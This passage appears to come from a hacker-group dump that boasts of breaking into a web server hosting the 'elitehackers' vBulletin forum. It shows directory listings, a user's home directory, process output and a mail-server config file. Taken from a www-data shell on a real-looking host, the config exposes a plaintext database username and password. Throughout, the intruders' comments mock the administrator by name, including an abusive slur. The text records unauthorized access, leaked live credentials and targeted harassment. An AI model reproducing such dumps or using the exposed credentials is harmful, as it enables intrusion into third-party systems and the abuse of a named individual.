elitehackers www-data 1024 Apr 13 2008 control_examples 17224 -rwxr-xr-x 1 elitehackers www-data 14265 Sep 12 17:02 converse.php 17225 drwxr-xr-x 8 elitehackers www-data 1024 Apr 13 2008 cpstyles 17226 -rw-r--r-- 1 elitehackers www-data 3308 Sep 12 17:02 cron.php 17227 -rw-r--r-- 1 elitehackers www-data 23993 Apr 13 2008 cronadmin.php 17228 -rw-r--r-- 1 elitehackers www-data 10741 Apr 13 2008 cronlog.php 17229 -rw-r--r-- 1 elitehackers www-data 32592 Apr 13 2008 css.php 17230 drwxr-xr-x 3 elitehackers www-data 1024 Sep 12 17:02 customavatars 17231 drwxr-xr-x 2 elitehackers www-data 1024 Apr 13 2008 customprofilepics 17232 -rw-r--r-- 1 elitehackers www-data 19706 Apr 13 2008 diagnostic.php 17233 -rw-r--r-- 1 elitehackers www-data 47491 Sep 12 17:02 editpost.php 17234 -rw-r--r-- 1 elitehackers www-data 10625 Apr 13 2008 email.php 17235 -rw-r--r-- 1 elitehackers www-data 29307 Sep 12 17:02 external.php 17236 -rw-r--r-- 1 elitehackers www-data 9510 Sep 12 17:02 faq.php 17237 -rw-r--r-- 1 elitehackers www-data 10134 Sep 12 17:02 favicon.ico 17238 -rw-r--r-- 1 elitehackers www-data 27930 Apr 13 2008 forum.php 17239 -rw-r--r-- 1 elitehackers www-data 35429 Sep 12 17:02 forumdisplay.php 17240 -rw-r--r-- 1 elitehackers www-data 29517 Apr 13 2008 forumpermission.php 17241 -rw-r--r-- 1 elitehackers www-data 39178 Sep 12 17:02 global.php 17242 -rw-r--r-- 1 elitehackers www-data 0 Apr 13 2008 17243 google59be3bfa8906534f.html 17244 -rwxr-xr-x 1 elitehackers www-data 95924 Sep 12 17:02 group.php 17245 -rwxr-xr-x 1 elitehackers www-data 14604 Sep 12 17:02 group_inlinemod.php 17246 -rw-r--r-- 1 elitehackers www-data 25863 Apr 13 2008 help.php 17247 -rw-r--r-- 1 elitehackers www-data 7143 Sep 12 17:02 image.php 17248 drwxr-xr-x 20 elitehackers www-data 1024 Apr 15 2008 images 17249 drwxr-xr-x 3 elitehackers www-data 1024 Apr 13 2008 img 17250 drwxr-xr-x 6 elitehackers www-data 5120 Sep 12 17:02 includes 17251 -rwxr-xr-x 1 elitehackers www-data 18600 Sep 12 17:08 index.php 17252 -rw-r--r-- 1 elitehackers www-data 43466 Sep 12 17:02 infraction.php 17253 -rw-r--r-- 1 elitehackers www-data 182629 Sep 12 17:02 inlinemod.php 17254 -rw-r--r-- 1 elitehackers www-data 4617 Apr 15 2008 ipinfo.php 17255 -rw-r--r-- 1 elitehackers www-data 2802 Apr 13 2008 javachat.php 17256 -rw-r--r-- 1 elitehackers www-data 10333 Sep 12 17:02 joinrequests.php 17257 -rw-r--r-- 1 elitehackers www-data 37369 Apr 13 2008 language.php 17258 -rw-r--r-- 1 elitehackers www-data 10246 Sep 12 17:02 login.php 17259 drwxr-xr-x 2 elitehackers www-data 1024 Apr 13 2008 mcp 17260 -rw-r--r-- 1 elitehackers www-data 16679 Sep 12 17:02 member.php 17261 -rwxr-xr-x 1 elitehackers www-data 15536 Sep 12 17:02 member_inlinemod.php 17262 -rw-r--r-- 1 elitehackers www-data 35282 Sep 12 17:02 memberlist.php 17263 -rw-r--r-- 1 elitehackers www-data 23423 Sep 12 17:02 misc.php 17264 -rw-r--r-- 1 elitehackers www-data 57615 Sep 12 17:02 moderation.php 17265 -rw-r--r-- 1 elitehackers www-data 6747 Sep 12 17:02 moderator.php 17266 -rw-r--r-- 1 elitehackers www-data 14383 Apr 13 2008 modlog.php 17267 -rw-r--r-- 1 elitehackers www-data 18379 Sep 12 17:02 newattachment.php 17268 -rw-r--r-- 1 elitehackers www-data 36975 Sep 12 17:02 newreply.php 17269 -rw-r--r-- 1 elitehackers www-data 1924 Apr 13 2008 newsproxy.php 17270 -rw-r--r-- 1 elitehackers www-data 18608 Sep 12 17:02 newthread.php 17271 -rw-r--r-- 1 elitehackers www-data 19595 Sep 12 17:02 online.php 17272 -rw-r--r-- 1 elitehackers www-data 47478 Apr 13 2008 options.php 17273 -rw-r--r-- 1 elitehackers www-data 7687 Sep 12 17:02 payment_gateway.php 17274 -rw-r--r-- 1 elitehackers www-data 11901 Sep 12 17:02 payments.php 17275 -rw-r--r-- 1 elitehackers www-data 59137 Apr 13 2008 phrase.php 17276 -rwxr-xr-x 1 elitehackers www-data 7327 Sep 12 17:02 picture.php 17277 -rwxr-xr-x 1 elitehackers www-data 21646 Sep 12 17:02 picture_inlinemod.php 17278 -rwxr-xr-x 1 elitehackers www-data 23758 Sep 12 17:02 picturecomment.php 17279 drwxr-xr-x 4 elitehackers www-data 1024 Apr 13 2008 pjirc 17280 -rw-r--r-- 1 elitehackers www-data 82679 Apr 13 2008 plugin.php 17281 -rw-r--r-- 1 elitehackers www-data 27300 Sep 12 17:02 poll.php 17282 -rwxr-xr-x 1 elitehackers www-data 9441 Sep 12 17:02 posthistory.php 17283 -rw-r--r-- 1 elitehackers www-data 73434 Sep 12 17:02 postings.php 17284 -rw-r--r-- 1 elitehackers www-data 6585 Sep 12 17:02 printthread.php 17285 -rw-r--r-- 1 elitehackers www-data 58062 Sep 12 17:02 private.php 17286 -rw-r--r-- 1 elitehackers www-data 144923 Sep 12 17:02 profile.php 17287 -rw-r--r-- 1 elitehackers www-data 35299 Apr 13 2008 profilefield.php 17288 -rw-r--r-- 1 elitehackers www-data 18158 Apr 13 2008 queries.php 17289 -rw-r--r-- 1 elitehackers www-data 11327 Apr 13 2008 ranks.php 17290 -rw-r--r-- 1 elitehackers www-data 39696 Sep 12 17:02 register.php 17291 -rw-r--r-- 1 elitehackers www-data 13623 Apr 13 2008 repair.php 17292 -rw-r--r-- 1 elitehackers www-data 15384 Apr 13 2008 replacement.php 17293 -rw-r--r-- 1 elitehackers www-data 5679 Sep 12 17:02 report.php 17294 -rw-r--r-- 1 elitehackers www-data 13711 Sep 12 17:02 reputation.php 17295 -rw-r--r-- 1 elitehackers www-data 9006 Apr 13 2008 request_award.php 17296 -rw-r--r-- 1 elitehackers www-data 10549 Apr 13 2008 resources.php 17297 -rw-r--r-- 1 elitehackers www-data 19898 Apr 13 2008 rssposter.php 17298 -rw-r--r-- 1 elitehackers www-data 526 Apr 13 2008 rules.php 17299 -rw-r--r-- 1 elitehackers www-data 124421 Sep 12 17:02 search.php 17300 -rw-r--r-- 1 elitehackers www-data 20222 Sep 12 17:02 sendmessage.php 17301 -rw-r--r-- 1 elitehackers www-data 10338 Sep 12 17:02 showgroups.php 17302 -rw-r--r-- 1 elitehackers www-data 11283 Sep 12 17:02 showpost.php 17303 -rw-r--r-- 1 elitehackers www-data 72938 Sep 12 17:02 showthread.php 17304 drwxr-xr-x 2 elitehackers www-data 1024 Apr 13 2008 signaturepics 17305 -rw-r--r-- 1 elitehackers www-data 8634 Apr 13 2008 stats.php 17306 drwxr-xr-x 2 elitehackers www-data 1024 Apr 26 2008 style 17307 -rw-r--r-- 1 elitehackers www-data 6477 Apr 13 2008 style.css 17308 -rw-r--r-- 1 elitehackers www-data 31229 Sep 12 17:02 subscription.php 17309 -rw-r--r-- 1 elitehackers www-data 8229 Apr 13 2008 17310 subscriptionpermission.php 17311 -rw-r--r-- 1 elitehackers www-data 60501 Apr 13 2008 subscriptions.php 17312 -rwxr-xr-x 1 elitehackers www-data 13122 Sep 12 17:02 tags.php 17313 -rw-r--r-- 1 elitehackers www-data 81574 Apr 13 2008 template.php 17314 -rw-r--r-- 1 elitehackers www-data 3907 Apr 13 2008 textarea.php 17315 -rw-r--r-- 1 elitehackers www-data 37427 Apr 13 2008 thread.php 17316 -rw-r--r-- 1 elitehackers www-data 8683 Sep 12 17:02 threadrate.php 17317 -rwxr-xr-x 1 elitehackers www-data 12406 Sep 12 17:02 threadtag.php 17318 drwxr-xr-x 17 elitehackers www-data 1024 Sep 12 21:27 titanium 17319 -rw-r--r-- 1 elitehackers www-data 83281 Apr 13 2008 user.php 17320 -rw-r--r-- 1 elitehackers www-data 30732 Sep 12 17:02 usercp.php 17321 -rw-r--r-- 1 elitehackers www-data 53162 Apr 13 2008 usergroup.php 17322 -rw-r--r-- 1 elitehackers www-data 19056 Sep 12 17:02 usernote.php 17323 -rw-r--r-- 1 elitehackers www-data 7334 Apr 13 2008 usertitle.php 17324 -rw-r--r-- 1 elitehackers www-data 54367 Apr 13 2008 usertools.php 17325 drwxr-xr-x 2 elitehackers www-data 1024 Apr 13 2008 vBExternal 17326 -rw-r--r-- 1 elitehackers www-data 13419 Apr 13 2008 vBExternal.php 17327 -rwxr-xr-x 1 elitehackers www-data 26085 Sep 12 17:02 visitormessage.php 17328 -rw-r--r-- 1 elitehackers www-data 16 Apr 13 2008 17329 y_key_41c8718db5393f54.html 17330 17331 // That's right kids, world readable /root directory 17332 17333 www-data@blaze:/root$ ls -al 17334 total 15 17335 drwxr-xr-x 4 root root 1024 Oct 25 15:43 . 17336 drwxr-xr-x 21 root root 1024 Aug 27 18:11 .. 17337 drwx------ 2 root root 1024 Aug 4 11:33 .aptitude 17338 -rw------- 1 root root 3907 Oct 25 17:28 .bash_history 17339 -rw-r--r-- 1 root root 412 Dec 15 2004 .bashrc 17340 -rw------- 1 root root 6 Oct 8 15:27 .nano_history 17341 -rw-r--r-- 1 root root 110 Nov 10 2004 .profile 17342 drwx------ 2 root root 1024 Aug 30 19:59 .ssh 17343 -rw------- 1 root root 630 Oct 25 15:43 .viminfo 17344 -rw-r--r-- 1 root root 2059 Aug 30 22:56 GeorgeF_test.sql 17345 17346 // Napta's 0dayz lulz 17347 17348 www-data@blaze:/home/napta2k$ ls -al 17349 total 82138 17350 drwxr-xr-x 4 napta2k napta2k 1024 Nov 9 14:59 . 17351 drwxr-xr-x 5 root root 1024 Aug 30 16:53 .. 17352 -rw------- 1 napta2k napta2k 6885 Nov 9 16:15 .bash_history 17353 -rw-r--r-- 1 napta2k napta2k 220 Aug 27 17:09 .bash_logout 17354 -rw-r--r-- 1 napta2k napta2k 414 Aug 27 17:09 .bash_profile 17355 -rw-r--r-- 1 napta2k napta2k 2227 Aug 27 17:09 .bashrc 17356 -rw------- 1 root root 3659 Sep 20 19:32 .mysql_history 17357 -rw------- 1 root root 1024 Aug 31 14:22 .rnd 17358 -rw------- 1 napta2k napta2k 4323 Oct 3 20:21 .viminfo 17359 -rw-r--r-- 1 napta2k napta2k 70284331 Sep 12 17:01 eh2005_ehforums.sql 17360 drwxr-xr-x 4 napta2k napta2k 1024 Sep 12 16:58 forums 17361 -rw-r--r-- 1 napta2k napta2k 2829048 Sep 1 17:42 misc.sql 17362 drwxr-xr-x 6 napta2k napta2k 1024 Sep 4 13:00 nikto 17363 -rw-r--r-- 1 napta2k napta2k 2590720 Sep 13 17:59 nikto-current.tar 17364 -rw-r--r-- 1 napta2k napta2k 2344960 Aug 31 14:39 postfixadmin-2.2.1.1.tar 17365 -rw-r--r-- 1 napta2k napta2k 1378289 Aug 31 15:28 17366 roundcubemail-0.2-alpha.1.tar.gz 17367 -rw-r--r-- 1 napta2k napta2k 1003605 Sep 12 17:40 titanium.zip 17368 -rw-r--r-- 1 napta2k napta2k 3309751 Nov 9 14:59 17369 vbulletin_3-7-4_VBFAB23322.zip 17370 17371 // No 0dayz here :'( 17372 17373 www-data@blaze:/home/napta2k/nikto$ ls -al 17374 total 20 17375 drwxr-xr-x 6 napta2k napta2k 1024 Sep 4 13:00 . 17376 drwxr-xr-x 4 napta2k napta2k 1024 Nov 9 14:59 .. 17377 drwxr-xr-x 6 napta2k napta2k 1024 Sep 4 13:12 .svn 17378 -rw-r--r-- 1 napta2k napta2k 2469 Sep 4 13:00 config.txt 17379 drwxr-xr-x 3 napta2k napta2k 1024 Sep 4 13:00 docs 17380 -rwxr-xr-x 1 napta2k napta2k 10495 Sep 4 13:00 nikto.pl 17381 drwxr-xr-x 3 napta2k napta2k 1024 Sep 4 13:00 plugins 17382 drwxr-xr-x 3 napta2k napta2k 1024 Sep 4 13:00 templates 17383 17384 www-data@blaze:/home/napta2k/nikto$ ps aux 17385 USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND 17386 root 1 0.0 0.0 1856 632 ? Ss Aug30 0:06 init [2] 17387 root 2 0.0 0.0 0 0 ? S Aug30 0:01 [migration/0] 17388 root 3 0.0 0.0 0 0 ? SN Aug30 0:00 [ksoftirqd/0] 17389 root 4 0.0 0.0 0 0 ? S Aug30 0:00 [migration/1] 17390 root 5 0.0 0.0 0 0 ? SN Aug30 0:00 [ksoftirqd/1] 17391 root 6 0.0 0.0 0 0 ? S Aug30 0:00 [migration/2] 17392 root 7 0.0 0.0 0 0 ? SN Aug30 0:00 [ksoftirqd/2] 17393 root 8 0.0 0.0 0 0 ? S Aug30 0:00 [migration/3] 17394 root 9 0.0 0.0 0 0 ? SN Aug30 0:00 [ksoftirqd/3] 17395 root 10 0.0 0.0 0 0 ? S< Aug30 0:00 [events/0] 17396 root 11 0.0 0.0 0 0 ? S< Aug30 0:00 [events/1] 17397 root 12 0.0 0.0 0 0 ? S< Aug30 0:00 [events/2] 17398 root 13 0.0 0.0 0 0 ? S< Aug30 0:00 [events/3] 17399 root 14 0.0 0.0 0 0 ? S< Aug30 0:00 [khelper] 17400 root 15 0.0 0.0 0 0 ? S< Aug30 0:00 [kthread] 17401 root 17 0.0 0.0 0 0 ? S< Aug30 0:00 [xenwatch] 17402 root 18 0.0 0.0 0 0 ? S< Aug30 0:00 [xenbus] 17403 root 28 0.0 0.0 0 0 ? S< Aug30 0:00 [kblockd/0] 17404 root 29 0.0 0.0 0 0 ? S< Aug30 0:00 [kblockd/1] 17405 root 30 0.0 0.0 0 0 ? S< Aug30 0:00 [kblockd/2] 17406 root 31 0.0 0.0 0 0 ? S< Aug30 0:00 [kblockd/3] 17407 root 32 0.0 0.0 0 0 ? S< Aug30 0:00 [cqueue/0] 17408 root 33 0.0 0.0 0 0 ? S< Aug30 0:00 [cqueue/1] 17409 root 34 0.0 0.0 0 0 ? S< Aug30 0:00 [cqueue/2] 17410 root 35 0.0 0.0 0 0 ? S< Aug30 0:00 [cqueue/3] 17411 root 37 0.0 0.0 0 0 ? S< Aug30 0:00 [kseriod] 17412 root 109 0.0 0.0 0 0 ? S Aug30 0:00 [pdflush] 17413 root 111 0.0 0.0 0 0 ? S< Aug30 0:04 [kswapd0] 17414 root 112 0.0 0.0 0 0 ? S< Aug30 0:00 [aio/0] 17415 root 113 0.0 0.0 0 0 ? S< Aug30 0:00 [aio/1] 17416 root 114 0.0 0.0 0 0 ? S< Aug30 0:00 [aio/2] 17417 root 115 0.0 0.0 0 0 ? S< Aug30 0:00 [aio/3] 17418 root 117 0.0 0.0 0 0 ? S< Aug30 0:00 [jfsIO] 17419 root 118 0.0 0.0 0 0 ? S< Aug30 0:00 [jfsCommit] 17420 root 119 0.0 0.0 0 0 ? S< Aug30 0:00 [jfsCommit] 17421 root 120 0.0 0.0 0 0 ? S< Aug30 0:00 [jfsCommit] 17422 root 121 0.0 0.0 0 0 ? S< Aug30 0:00 [jfsCommit] 17423 root 122 0.0 0.0 0 0 ? S< Aug30 0:00 [jfsSync] 17424 root 123 0.0 0.0 0 0 ? S< Aug30 0:00 [xfslogd/0] 17425 root 124 0.0 0.0 0 0 ? S< Aug30 0:00 [xfslogd/1] 17426 root 125 0.0 0.0 0 0 ? S< Aug30 0:00 [xfslogd/2] 17427 root 126 0.0 0.0 0 0 ? S< Aug30 0:00 [xfslogd/3] 17428 root 127 0.0 0.0 0 0 ? S< Aug30 0:00 [xfsdatad/0] 17429 root 128 0.0 0.0 0 0 ? S< Aug30 0:00 [xfsdatad/1] 17430 root 129 0.0 0.0 0 0 ? S< Aug30 0:00 [xfsdatad/2] 17431 root 130 0.0 0.0 0 0 ? S< Aug30 0:00 [xfsdatad/3] 17432 root 739 0.0 0.0 0 0 ? S< Aug30 0:00 [net_accel/0] 17433 root 740 0.0 0.0 0 0 ? S< Aug30 0:00 [net_accel/1] 17434 root 741 0.0 0.0 0 0 ? S< Aug30 0:00 [net_accel/2] 17435 root 742 0.0 0.0 0 0 ? S< Aug30 0:00 [net_accel/3] 17436 root 750 0.0 0.0 0 0 ? S< Aug30 0:00 [kpsmoused] 17437 root 753 0.0 0.0 0 0 ? S< Aug30 0:00 [kcryptd/0] 17438 root 754 0.0 0.0 0 0 ? S< Aug30 0:00 [kcryptd/1] 17439 root 755 0.0 0.0 0 0 ? S< Aug30 0:00 [kcryptd/2] 17440 root 756 0.0 0.0 0 0 ? S< Aug30 0:00 [kcryptd/3] 17441 root 757 0.0 0.0 0 0 ? S< Aug30 0:00 [kmirrord] 17442 root 767 0.0 0.0 0 0 ? S< Aug30 1:03 [kjournald] 17443 root 1158 0.0 0.0 1528 548 ? Ss Aug30 0:19 /sbin/syslogd 17444 root 1164 0.0 0.0 1484 364 ? Ss Aug30 0:00 /sbin/klogd -x 17445 root 1257 0.0 0.0 2088 832 ? Ss Aug30 0:00 /usr/sbin/cron 17446 root 1279 0.0 0.0 1480 476 tty1 Ss+ Aug30 0:00 /sbin/getty 17447 38400 tty1 17448 bind 3880 0.0 0.3 20640 4140 ? Ss Aug30 0:00 17449 /usr/sbin/named -u bind 17450 bind 3881 0.0 0.3 20640 4140 ? S Aug30 0:00 17451 /usr/sbin/named -u bind 17452 bind 3882 0.0 0.3 20640 4140 ? S Aug30 1:16 17453 /usr/sbin/named -u bind 17454 bind 3883 0.0 0.3 20640 4140 ? S Aug30 1:15 17455 /usr/sbin/named -u bind 17456 bind 3884 0.0 0.3 20640 4140 ? S Aug30 1:16 17457 /usr/sbin/named -u bind 17458 bind 3885 0.0 0.3 20640 4140 ? S Aug30 1:16 17459 /usr/sbin/named -u bind 17460 bind 3886 0.0 0.3 20640 4140 ? S Aug30 0:00 17461 /usr/sbin/named -u bind 17462 bind 3887 0.0 0.3 20640 4140 ? S Aug30 1:17 17463 /usr/sbin/named -u bind 17464 root 6129 0.0 0.1 3572 1288 ? S Aug30 0:00 /bin/sh 17465 /usr/bin/mysqld_safe 17466 mysql 6166 0.0 5.4 95064 60364 ? S Aug30 0:39 17467 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=mysql 17468 --pid-file=/var/run/mysqld/mysqld.pid --skip-external-locking --port=3306 17469 --socket=/var/run/mysqld/mysqld.sock 17470 root 6167 0.0 0.0 2656 556 ? S Aug30 0:00 logger -p 17471 daemon.err -t mysqld_safe -i -t mysqld 17472 mysql 6168 0.0 5.4 95064 60364 ? S Aug30 0:00 17473 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=mysql 17474 --pid-file=/var/run/mysqld/mysqld.pid --skip-external-locking --port=3306 17475 --socket=/var/run/mysqld/mysqld.sock 17476 mysql 6169 0.0 5.4 95064 60364 ? S Aug30 0:00 17477 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=mysql 17478 --pid-file=/var/run/mysqld/mysqld.pid --skip-external-locking --port=3306 17479 --socket=/var/run/mysqld/mysqld.sock 17480 mysql 6170 0.0 5.4 95064 60364 ? S Aug30 0:00 17481 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=mysql 17482 --pid-file=/var/run/mysqld/mysqld.pid --skip-external-locking --port=3306 17483 --socket=/var/run/mysqld/mysqld.sock 17484 mysql 6171 0.0 5.4 95064 60364 ? S Aug30 0:00 17485 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=mysql 17486 --pid-file=/var/run/mysqld/mysqld.pid --skip-external-locking --port=3306 17487 --socket=/var/run/mysqld/mysqld.sock 17488 mysql 6172 0.0 5.4 95064 60364 ? S Aug30 0:00 17489 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=mysql 17490 --pid-file=/var/run/mysqld/mysqld.pid --skip-external-locking --port=3306 17491 --socket=/var/run/mysqld/mysqld.sock 17492 mysql 6174 0.0 5.4 95064 60364 ? S Aug30 0:38 17493 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=mysql 17494 --pid-file=/var/run/mysqld/mysqld.pid --skip-external-locking --port=3306 17495 --socket=/var/run/mysqld/mysqld.sock 17496 mysql 6175 0.0 5.4 95064 60364 ? S Aug30 0:16 17497 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=mysql 17498 --pid-file=/var/run/mysqld/mysqld.pid --skip-external-locking --port=3306 17499 --socket=/var/run/mysqld/mysqld.sock 17500 mysql 6176 0.0 5.4 95064 60364 ? S Aug30 0:00 17501 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=mysql 17502 --pid-file=/var/run/mysqld/mysqld.pid --skip-external-locking --port=3306 17503 --socket=/var/run/mysqld/mysqld.sock 17504 mysql 6177 0.0 5.4 95064 60364 ? S Aug30 0:40 17505 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=mysql 17506 --pid-file=/var/run/mysqld/mysqld.pid --skip-external-locking --port=3306 17507 --socket=/var/run/mysqld/mysqld.sock 17508 root 32722 0.0 0.1 4708 1588 ? Ss Aug31 0:05 17509 /usr/lib/postfix/master 17510 postfix 32728 0.0 0.1 4752 1728 ? S Aug31 0:01 qmgr -l -t 17511 fifo -u 17512 root 32742 0.0 0.0 1900 780 ? Ss Aug31 21:03 17513 /usr/sbin/dovecot 17514 root 32743 0.0 0.3 10036 4116 ? S Aug31 9:40 dovecot-auth 17515 postfix 32759 0.0 0.1 4848 2156 ? S Aug31 0:00 tlsmgr -l -t 17516 unix -u -c 17517 root 9777 0.0 0.0 4824 1084 ? Ss Sep20 1:26 /usr/sbin/sshd 17518 root 14055 0.0 0.0 1648 596 ? Ss Oct08 0:00 17519 /usr/sbin/inetd 17520 root 6877 0.0 0.0 0 0 ? S Oct31 0:00 [pdflush] 17521 dovecot 11210 0.0 0.1 3168 1460 ? S 00:31 0:01 pop3-login 17522 dovecot 11211 0.0 0.1 3172 1464 ? S 00:31 0:01 pop3-login 17523 dovecot 11212 0.0 0.1 3168 1460 ? S 00:31 0:01 pop3-login 17524 dovecot 11214 0.0 0.1 3172 1460 ? S 00:31 0:01 pop3-login 17525 dovecot 11215 0.0 0.1 3172 1464 ? S 00:31 0:01 pop3-login 17526 dovecot 11216 0.0 0.1 3172 1464 ? S 00:31 0:01 pop3-login 17527 dovecot 11217 0.0 0.1 3168 1460 ? S 00:31 0:01 pop3-login 17528 dovecot 11218 0.0 0.1 3168 1460 ? S 00:31 0:01 pop3-login 17529 dovecot 11221 0.0 0.1 3168 1460 ? S 00:31 0:01 pop3-login 17530 // LEARN 2 SYSADMIN YOU STUPID CUNT 17531 // (we cleared 100 more pop3-login lines for your sake... 17532 dovecot 11267 0.0 0.1 3172 1464 ? S 00:32 0:01 pop3-login 17533 dovecot 11268 0.0 0.1 3168 1460 ? S 00:32 0:01 pop3-login 17534 dovecot 11269 0.0 0.1 3168 1460 ? S 00:32 0:01 pop3-login 17535 dovecot 11271 0.0 0.1 3172 1460 ? S 00:32 0:01 pop3-login 17536 dovecot 11275 0.0 0.1 3168 1456 ? S 00:32 0:01 pop3-login 17537 dovecot 11276 0.0 0.1 3172 1464 ? S 00:32 0:01 pop3-login 17538 dovecot 11383 0.0 0.1 3168 1460 ? S 00:46 0:01 pop3-login 17539 dovecot 11387 0.0 0.1 3172 1464 ? S 00:46 0:01 pop3-login 17540 dovecot 12326 0.0 0.1 3172 1460 ? S 03:00 0:01 pop3-login 17541 dovecot 12328 0.0 0.1 3172 1464 ? S 03:00 0:01 pop3-login 17542 dovecot 12331 0.0 0.1 3172 1464 ? S 03:00 0:01 pop3-login 17543 root 16065 0.0 0.7 23308 7852 ? Ss 06:26 0:01 17544 /usr/sbin/apache2 -k start 17545 dovecot 17652 0.0 0.1 3168 1460 ? S 09:58 0:00 pop3-login 17546 dovecot 17653 0.0 0.1 3172 1464 ? S 09:58 0:01 pop3-login 17547 mysql 22457 0.0 5.4 95064 60364 ? S 14:00 0:05 17548 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=mysql 17549 --pid-file=/var/run/mysqld/mysqld.pid --skip-external-locking --port=3306 17550 --socket=/var/run/mysqld/mysqld.sock 17551 dovecot 1932 0.0 0.1 3168 1460 ? S 17:57 0:00 pop3-login 17552 dovecot 1933 0.0 0.1 3172 1464 ? S 17:57 0:00 pop3-login 17553 dovecot 1934 0.0 0.1 3168 1456 ? S 17:57 0:00 pop3-login 17554 dovecot 2220 0.0 0.1 3168 1456 ? S 18:07 0:00 pop3-login 17555 dovecot 2224 0.0 0.1 3172 1464 ? S 18:07 0:00 pop3-login 17556 dovecot 2228 0.0 0.1 3172 1464 ? S 18:07 0:00 pop3-login 17557 mysql 6852 0.0 5.4 95064 60364 ? S 19:00 0:01 17558 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=mysql 17559 --pid-file=/var/run/mysqld/mysqld.pid --skip-external-locking --port=3306 17560 --socket=/var/run/mysqld/mysqld.sock 17561 mysql 7005 0.0 5.4 95064 60364 ? S 19:01 0:01 17562 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=mysql 17563 --pid-file=/var/run/mysqld/mysqld.pid --skip-external-locking --port=3306 17564 --socket=/var/run/mysqld/mysqld.sock 17565 mysql 7384 0.0 5.4 95064 60364 ? S 19:02 0:04 17566 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=mysql 17567 --pid-file=/var/run/mysqld/mysqld.pid --skip-external-locking --port=3306 17568 --socket=/var/run/mysqld/mysqld.sock 17569 mysql 7406 0.0 5.4 95064 60364 ? S 19:03 0:01 17570 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=mysql 17571 --pid-file=/var/run/mysqld/mysqld.pid --skip-external-locking --port=3306 17572 --socket=/var/run/mysqld/mysqld.sock 17573 mysql 7491 0.0 5.4 95064 60364 ? S 19:03 0:01 17574 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=mysql 17575 --pid-file=/var/run/mysqld/mysqld.pid --skip-external-locking --port=3306 17576 --socket=/var/run/mysqld/mysqld.sock 17577 mysql 7577 0.0 5.4 95064 60364 ? S 19:05 0:02 17578 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=mysql 17579 --pid-file=/var/run/mysqld/mysqld.pid --skip-external-locking --port=3306 17580 --socket=/var/run/mysqld/mysqld.sock 17581 mysql 7584 0.0 5.4 95064 60364 ? S 19:06 0:01 17582 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=mysql 17583 --pid-file=/var/run/mysqld/mysqld.pid --skip-external-locking --port=3306 17584 --socket=/var/run/mysqld/mysqld.sock 17585 dovecot 23740 0.0 0.1 3172 1460 ? S 22:13 0:00 pop3-login 17586 dovecot 23741 0.0 0.1 3168 1460 ? S 22:13 0:00 pop3-login 17587 dovecot 23742 0.0 0.1 3172 1464 ? S 22:13 0:00 pop3-login 17588 postfix 24680 0.0 0.1 4712 1536 ? S 22:20 0:00 pickup -l -t 17589 fifo -u -c 17590 www-data 26912 0.1 0.7 23756 8336 ? S 22:41 0:00 17591 /usr/sbin/apache2 -k start 17592 www-data 26917 0.2 0.7 23736 8312 ? S 22:41 0:00 17593 /usr/sbin/apache2 -k start 17594 www-data 26919 0.2 0.7 23736 8328 ? S 22:41 0:01 17595 /usr/sbin/apache2 -k start 17596 www-data 26920 0.1 0.7 23752 8264 ? S 22:41 0:00 17597 /usr/sbin/apache2 -k start 17598 www-data 26936 0.0 0.7 23648 8000 ? S 22:43 0:00 17599 /usr/sbin/apache2 -k start 17600 www-data 26941 0.1 0.7 23728 8112 ? S 22:44 0:00 17601 /usr/sbin/apache2 -k start 17602 www-data 26942 0.3 0.7 23704 8168 ? S 22:44 0:00 17603 /usr/sbin/apache2 -k start 17604 www-data 26944 0.2 0.7 23704 8200 ? S 22:44 0:00 17605 /usr/sbin/apache2 -k start 17606 www-data 26947 0.2 0.7 23752 8244 ? S 22:44 0:00 17607 /usr/sbin/apache2 -k start 17608 www-data 26949 0.1 0.7 23772 8160 ? S 22:45 0:00 17609 /usr/sbin/apache2 -k start 17610 www-data 26958 0.0 0.0 2120 884 ? R 22:47 0:00 ps aux 17611 17612 17613 www-data@blaze:/home/napta2k/nikto$$ cat /etc/dovecot/dovecot-sql.conf 17614 # This file is opened as root, so it should be owned by root and mode 0600. 17615 # 17616 # For the sql passdb module, you'll need a database with a table that 17617 # contains fields for at least the userid and password. If you want to 17618 # use the user@domain syntax, you might want to have a separate domain 17619 # field as well. 17620 # 17621 # If your users all have the same uig/gid, and have predictable home 17622 # directories, you can use the static userdb module to generate the home 17623 # dir based on the userid and domain. In this case, you won't need fields 17624 # for home, uid, or gid in the database. 17625 # 17626 # If you prefer to use the sql userdb module, you'll want to add fields 17627 # for home, uid, and gid. Here is an example table: 17628 # 17629 # CREATE TABLE users ( 17630 # userid VARCHAR(128) NOT NULL, 17631 # password VARCHAR(64) NOT NULL, 17632 # home VARCHAR(255) NOT NULL, 17633 # uid INTEGER NOT NULL, 17634 # gid INTEGER NOT NULL, 17635 # active CHAR(1) DEFAULT 'Y' NOT NULL 17636 # ); 17637 17638 # Database driver: mysql, pgsql, sqlite 17639 driver = mysql 17640 connect = host=127.0.0.1 user=postfixadmin password=postfixadmin32201 17641 dbname=postfixadmin # free spoolz for everyone! 17642 17643 # Database connection string. This is driver-specific setting. 17644 # 17645 # pgsql: 17646 # For available options, see the PostgreSQL documention for the 17647 # PQconnectdb function of libpq. 17648 # 17649 # mysql: 17650 # Basic options emulate PostgreSQL option names: 17651 # host, port, user, password, dbname 17652 # 17653 # But also adds some new settings: 17654 # client_flags - See 